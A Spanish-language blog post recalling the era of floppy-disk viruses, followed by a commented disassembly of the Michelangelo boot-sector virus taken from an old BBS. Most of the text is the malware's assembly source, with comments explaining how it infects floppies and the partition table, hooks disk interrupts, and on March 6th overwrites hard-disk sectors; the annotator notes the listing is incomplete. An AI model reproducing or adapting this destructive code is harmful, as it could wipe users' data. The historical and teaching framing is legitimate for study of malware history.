Revisando articulos recorde la epoca en que los virus de computadora empezaron a aparecer  y en los cuales no existia Internet o no estaba disponible para todos para consultar posibles soluciones. Era una epoca en que se llevaba el antivirus en un disco flexible de 5 1/4″ o 3 1/2″ con el cual se podia hacer una limpieza y tratar de salvar el computador. Uno de los virus mas “populares” el cual lo encontre en muchos equipos, fue el Michelangelo el cual una vez infectado el computador daba un error al tratar de arrancar nuevamente el computador, ademas de ser altamente infeccioso ya que se grababa en cualquier disco que insertaramos. Fue una epoca muy interesante ya que se podia ver los codigos fuentes de los virus y estos te daban muchas pistas ademas de enseñarte nuevas tecnicas de programación. A continuacion le muestro el codigo fuente del Michelangelo el cual fue tomado de aca. Ademas puedes leer un poco de su hisoria aca.

;     Michelangelo
;     Size: 512
;     Type: Boot infector
;     Date of action: March 6th
;
;
 
data_1e		equ	4Ch			; (0000:004C=1DB1h)
data_2e		equ	4Eh			; (0000:004E=70h)
data_3e		equ	413h			; (0000:0413=280h)
data_4e		equ	7C05h			; (0000:7C05=203Ch)
data_5e		equ	7C0Ah			; (0000:7C0A=49EBh)
data_6e		equ	7C0Ch			; (0000:7C0C=2A3Ch)
data_7e		equ	7			; (694E:0007=0)
data_8e		equ	8			; (694E:0008=0)
data_9e		equ	0Ah			; (694E:000A=0)
data_11e	equ	7C03h			; (694E:7C03=0)
  
seg_a		segment
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
mich		proc	far
  
start:                      
		jmp	loc_6 ; (01AF) "This is what you see at sector 0"
		db	0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
		db	0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
		db	50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
		db	0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
		db	4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
		db	9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
		db	9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
		db	2, 0, 58h, 1Fh, 2Eh, 0FFh
		db	2Eh, 0Ah, 0, 50h, 53h, 51h
		db	52h, 1Eh, 6, 56h, 57h, 0Eh
		db	1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
		mov	ax,201h
		mov	bx,200h
		mov	cx,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		jnc	loc_2			; Jump if carry=0
		xor	ax,ax			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		dec	si
		jnz	loc_1			; Jump if not zero
		jmp	short loc_5		; (01A6)
loc_2: ;Zero registers clear direction
		xor	si,si			; Zero register
		cld				; Clear direction
		lodsw				; String [si] to ax
		cmp	ax,[bx]
		jne	loc_3			; Jump if not equal
		lodsw				; String [si] to ax
		cmp	ax,[bx+2]
		je	loc_5			; Jump if equal
loc_3: ; cmp byte ptr See infected
		mov	ax,301h
		mov	dh,1
		mov	cl,3
		cmp	byte ptr [bx+15h],0FDh
		je	loc_4			; Jump if equal
		mov	cl,0Eh
loc_4: ;call out all db hiden data
		mov	ds:data_8e,cx		; (694E:0008=0)
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		jc	loc_5			; Jump if carry Set
		mov	si,3BEh
		mov	di,1BEh
		mov	cx,21h
		cld				; Clear direction
		rep	movsw			; Rep while cx>0 Mov [si]
		mov	ax,301h                 ; to es:[di]
		xor	bx,bx			; Zero register
		mov	cx,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
loc_5: ;Clear all set
		pop	di
		pop	si
		pop	es
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
loc_6: ;Load all hiden data
		xor	ax,ax			; Zero register
		mov	ds,ax
		cli				; Disable interrupts
		mov	ss,ax
		mov	ax,7C00h
		mov	sp,ax
		sti				; Enable interrupts
		push	ds
		push	ax
		mov	ax,ds:data_1e		; (0000:004C=1DB1h)
		mov	ds:data_5e,ax		; (0000:7C0A=49EBh)
		mov	ax,ds:data_2e		; (0000:004E=70h)
		mov	ds:data_6e,ax		; (0000:7C0C=2A3Ch)
		mov	ax,ds:data_3e		; (0000:0413=280h)
		dec	ax
		dec	ax
		mov	ds:data_3e,ax		; (0000:0413=280h)
		mov	cl,6
		shl	ax,cl			; Shift w/zeros fill
		mov	es,ax
		mov	ds:data_4e,ax		; (0000:7C05=203Ch)
		mov	ax,0Eh
		mov	ds:data_1e,ax		; (0000:004C=1DB1h)
		mov	ds:data_2e,es		; (0000:004E=70h)
		mov	cx,1BEh
		mov	si,7C00h
		xor	di,di			; Zero register
		cld				; Clear direction
		rep	movsb			; Rep while cx>0 Mov [si]
		jmp	dword ptr cs:data_11e	; to es:[di] (694E:7C03=0)
		db	33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
		db	0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13
		db	0, 7Ch, 8Bh, 0Eh, 8, 0
		db	83h, 0F9h, 7, 75h, 7, 0BAh
		db	80h, 0, 0CDh, 13h, 0EBh, 2Bh
		db	8Bh, 0Eh, 8, 0, 0BAh, 0
		db	1, 0CDh, 13h, 72h, 20h, 0Eh
		db	7, 0B8h, 1, 2, 0BBh, 0
		db	2, 0B9h, 1, 0, 0BAh, 80h
		db	0, 0CDh, 13h, 72h, 0Eh, 33h
		db	0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
		db	4Fh, 0ADh, 3Bh, 47h, 2
		db	75h, 49h
loc_7:;check if it is time to nuke
		xor	cx,cx			; Zero register
		mov	ah,4
		int	1Ah ; Real time clock   ah=func 04h don't work on an xt
						; read date cx=year, dx=mon/day
		cmp	dx,306h                 ; See if March 6th
		je	loc_8			; Jump if equal to nuking subs
		retf				; Return to launch command.com
loc_8:;get ready
		xor	dx,dx			; Zero register
		mov	cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
		mov	ax,309h
		mov	si,ds:data_8e		; (694E:0008=0)
		cmp	si,3
		je	loc_10			; Jump if equal
		mov	al,0Eh
		cmp	si,0Eh
		je	loc_10			; Jump if equal
		mov	dl,80h
		mov	byte ptr ds:data_7e,4	; (694E:0007=0)
		mov	al,11h
loc_10: ;nuke away 
		mov	bx,5000h
		mov	es,bx
		int	13h			; Disk  dl=drive a: ah=func 03h
						;  write sectors from mem es:bx
		jnc	loc_11			; Jump if carry=0
		xor	ah,ah			; Zero register
		int	13h			; Disk  dl=drive a: ah=func 00h
						;  reset disk, al=return status
loc_11: ;rest for loc-9 nuking
		inc	dh
		cmp	dh,ds:data_7e		; (694E:0007=0)
		jb	loc_9			; Jump if below
		xor	dh,dh			; Zero register
		inc	ch
		jmp	short loc_9		; (0250)
loc_12:;time to infect a floppie or hard dirve
		mov	cx,7
		mov	ds:data_8e,cx		; (694E:0008=0)
		mov	ax,301h
		mov	dx,80h
		int	13h	; Disk  dl=drive a: ah=func 03h infect flopie
						;  write sectors from mem es:bx
		jc	loc_7			; Jump if carry Set
		mov	si,3BEh
		mov	di,1BEh
		mov	cx,21h
		rep	movsw			; Rep while cx>0 Mov [si]
		mov	ax,301h                 : to es:[di]
		xor	bx,bx			; Zero register
		inc	cl
		int	13h ; Disk  dl=drive a: ah=func 03h lets infect hd
						;  write sectors from mem es:bx
;*		jmp	short loc_13		;*(02E0)
		db	0EBh, 32h
		db	1, 4, 11h, 0, 80h, 0
		db	5, 5, 32h, 1, 0, 0
		db	0, 0, 0
		db	53h, 53h, 20h, 20h, 43h, 4Fh
		db	4Dh
		db	58 dup (0)
		db	55h, 0AAh
  
seg_a		ends

;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!  

-------------------------------------------------------------------------------
Downloaded From P-80 Systems 304-744-2253